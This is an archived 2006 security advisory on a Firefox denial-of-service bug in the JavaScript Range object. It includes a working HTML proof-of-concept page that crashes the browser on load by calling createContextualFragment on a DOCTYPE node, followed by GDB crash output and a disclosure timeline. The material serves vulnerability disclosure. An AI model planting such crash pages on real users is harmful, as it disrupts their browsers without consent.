<!--
-------------------------------------------------
Gotfault Security - Advisory #05 - 27/10/06
-------------------------------------------------
Software : Firefox
Homepage : http://www.mozilla.com/
Vulnerable : 1.5.0.7 and below, 2.0
Risk : Moderate
Impact : Denial of Services (Code execution not verified)
-------------------------------------------------
DESCRIPTION
-------------------------------------------------
Mozilla Firefox is prone to a D.O.S within its javascript Range object. In a
special condition, a NULL Pointer Deference occur and Firefox crashes.
From DOM MDC:
"The Range object represents a fragment of a document that can contain nodes
and parts of text nodes in a given document."
A Range object can be initialized using the selectNode method, that selects a
node to be inserted within a Range. A Range can also be used to create document
fragments using the createContextualFragment method. Below is an example of
using such a method, from DOM MDC:
var tagString = "<div>I am a div node</div>";
var range = document.createRange();
range.selectNode(document.getElementsByTagName("div").item(0));
var documentFragment = range.createContextualFragment(tagString);
document.body.appendChild(documentFragment);
As can be seen, a range is created using the createRange document method and
then is initialized using the selectNode method against some element within
the current document. At this point createContextualFragment can be used to
create document fragments, that can be inserted into the document.
Mozilla Firefox does not proper handle when a DOCUMENT_TYPE_NODE (<!DOCTYPE...)
element is passed to selectNode method and trigger a NULL Pointer deference
when calling createContextualFragment method.
-------------------------------------------------
POC
-------------------------------------------------
This POC code crashes Mozilla Firefox:
--- snip ---
-->
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<script type="text/javascript">
function do_crash()
{
var range;
range = document.createRange();
range.selectNode(document.firstChild);
range.createContextualFragment('<span></span>');
}
</script>
</head>
<body onload="do_crash()">
<p>Good bye Firefox!</p>
</body>
</html>
<!--
--- snip ---
-------------------------------------------------
POC details
-------------------------------------------------
In [1], we use the selectNode method agains document.firstNode, that in
this case is <!DOCTYPE ...> node. Then we use createContextualFragment
and Firefox crashes.
-------------------------------------------------
GDB session
-------------------------------------------------
Following is the GDB session registered in the crash moment, tested
agains Firefox 2.0 official release:
--- snip ---
barros@zaphod:~$ gdb /usr/lib/firefox/firefox-bin -q
(no debugging symbols found)
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) at 16000
Attaching to program: /usr/lib/firefox-2.0RC3/firefox-bin, process 16000
...
...
0xb7502ce3 in poll () from /lib/tls/libc.so.6
(gdb) c
Continuing.
[Thread -1240372304 (LWP 16003) exited]
[Thread -1283585104 (LWP 16010) exited]
[New Thread -1283585104 (LWP 16018)]
[New Thread -1240372304 (LWP 16019)]
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1221409088 (LWP 16000)]
0x081d98ee in nsWritingIterator<unsigned short>::advance ()
(gdb) i r
eax 0x0 0
ecx 0x2cec7263 753693283
edx 0x95b55b8 156980664
ebx 0x1 1
esp 0xbf89f334 0xbf89f334
ebp 0xbf89f5b8 0xbf89f5b8
esi 0x0 0
edi 0x1 1
eip 0x81d98ee 0x81d98ee
eflags 0x10246 66118
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) bt
#0 0x081d98ee in nsWritingIterator<unsigned short>::advance ()
#1 0x083b4d8f in nsReadingIterator<unsigned short>::advance ()
#2 0xb7ed339b in XPTC_InvokeByIndex () from /usr/lib/firefox/libxpcom_core.so
#3 0x080a6960 in nsTHashtable<nsBaseHashtableET<nsDepCharHashKey, nsAutoPtr<nsINIParser::INIValue> > >::~nsTHashtable ()
#4 0x080ac53a in nsTHashtable<nsBaseHashtableET<nsDepCharHashKey, nsAutoPtr<nsINIParser::INIValue> > >::~nsTHashtable ()
#5 0xb7f2fed6 in js_Invoke () from /usr/lib/firefox/libmozjs.so
#6 0xb7f3480d in js_Interpret () from /usr/lib/firefox/libmozjs.so
#7 0xb7f2ff91 in js_Invoke () from /usr/lib/firefox/libmozjs.so
#8 0xb7f30374 in js_InternalInvoke () from /usr/lib/firefox/libmozjs.so
#9 0xb7f0d854 in JS_CallFunctionValue () from /usr/lib/firefox/libmozjs.so
#10 0x0843dbb7 in nsReadingIterator<unsigned short>::advance ()
#11 0x0846b6d9 in nsReadingIterator<unsigned short>::advance ()
#12 0x083c9724 in nsReadingIterator<unsigned short>::advance ()
#13 0x083c9b4b in nsReadingIterator<unsigned short>::advance ()
#14 0x08442204 in nsReadingIterator<unsigned short>::advance ()
#15 0x0826f4e7 in XmlInitUnknownEncodingNS ()
#16 0x085902fa in nsXPTCVariant::Init ()
#17 0x0856d6d8 in nsXPTCVariant::Init ()
#18 0x0859003b in nsXPTCVariant::Init ()
#19 0x08574845 in nsXPTCVariant::Init ()
#20 0x08573fb7 in nsXPTCVariant::Init ()
#21 0x08573f0e in nsXPTCVariant::Init ()
#22 0x08573cc7 in nsXPTCVariant::Init ()
#23 0x0812dc8c in nsTHashtable<nsBaseHashtableET<nsDepCharHashKey, nsAutoPtr<nsINIParser::INIValue> > >::~nsTHashtable ()
#24 0x08284255 in XmlInitUnknownEncodingNS ()
#25 0x08284002 in XmlInitUnknownEncodingNS ()
#26 0xb7ebe11f in PL_HandleEvent () from /usr/lib/firefox/libxpcom_core.so
#27 0xb7ebe072 in PL_ProcessPendingEvents ()
from /usr/lib/firefox/libxpcom_core.so
#28 0xb7ebf69f in nsEventQueueImpl::CheckForDeactivation ()
from /usr/lib/firefox/libxpcom_core.so
#29 0x0824aba4 in XmlInitUnknownEncodingNS ()
#30 0xb797a53f in g_vasprintf () from /usr/lib/libglib-2.0.so.0
#31 0xb7952b77 in g_main_context_dispatch () from /usr/lib/libglib-2.0.so.0
#32 0xb7954505 in g_main_context_acquire () from /usr/lib/libglib-2.0.so.0
#33 0xb795482a in g_main_loop_run () from /usr/lib/libglib-2.0.so.0
#34 0xb7c0fac3 in gtk_main () from /usr/lib/libgtk-x11-2.0.so.0
#35 0x0824ae48 in XmlInitUnknownEncodingNS ()
#36 0x0869f4c4 in nsXPTCVariant::Init ()
#37 0x0807d11f in ?? ()
#38 0x08b43ff0 in ?? ()
#39 0xb745f9b8 in ?? () from /lib/tls/libc.so.6
#40 0x00000000 in ?? ()
#41 0x00000000 in ?? ()
#42 0x00000001 in ?? ()
#43 0x08834520 in nsIFactory::GetIID()::iid ()
#44 0xbf8a100c in ?? ()
#45 0x08834520 in nsIFactory::GetIID()::iid ()
#46 0xbf8a100c in ?? ()
#47 0x00000000 in ?? ()
#48 0x08834480 in nsIFactory::GetIID()::iid ()
#49 0xbf8a1008 in ?? ()
#50 0x08834480 in nsIFactory::GetIID()::iid ()
#51 0xbf8a1008 in ?? ()
#52 0x00000000 in ?? ()
#53 0x00000000 in ?? ()
#54 0x00000000 in ?? ()
#55 0x00000001 in ?? ()
#56 0xb7378ee0 in ?? ()
#57 0x00000000 in ?? ()
#58 0x00000001 in ?? ()
#59 0x08a4ea30 in ?? ()
#60 0x08eac128 in ?? ()
#61 0xbf8a1058 in ?? ()
#62 0xb7de51e7 in pthread_mutex_lock () from /lib/tls/libpthread.so.0
#63 0x08079397 in ?? ()
#64 0x00000001 in ?? ()
#65 0xbf8a1384 in ?? ()
#66 0x088330a0 in _IO_stdin_used ()
#67 0xbf8a1358 in ?? ()
#68 0xb7468fcb in __libc_start_main () from /lib/tls/libc.so.6
#69 0xb7468fcb in __libc_start_main () from /lib/tls/libc.so.6
#70 0x080792f5 in ?? ()
(gdb) x/i $eip
0x81d98ee <_ZN17nsWritingIteratorItE7advanceEi+75886>: mov 0x4(%eax),%edx
(gdb) i r eax edx
eax 0x0 0
edx 0x95b55b8 156980664
(gdb) c
Continuing.
Detaching after fork from child process 16020.
Program received signal SIGSEGV, Segmentation fault.
0x081d98ee in nsWritingIterator<unsigned short>::advance ()
--- snip ---
-------------------------------------------------
TIMELINE
-------------------------------------------------
06/08/2006 - Vulnerability detected.
04/10/2006 - Vendor contacted, no response.
27/10/2006 - Advisory released
-------------------------------------------------
REFERENCES
-------------------------------------------------
http://gotfault.net/research/advisory/gadv-firefox.txt
http://www.barrossecurity.com/download/29
-->
# milw0rm.com [2006-10-31]
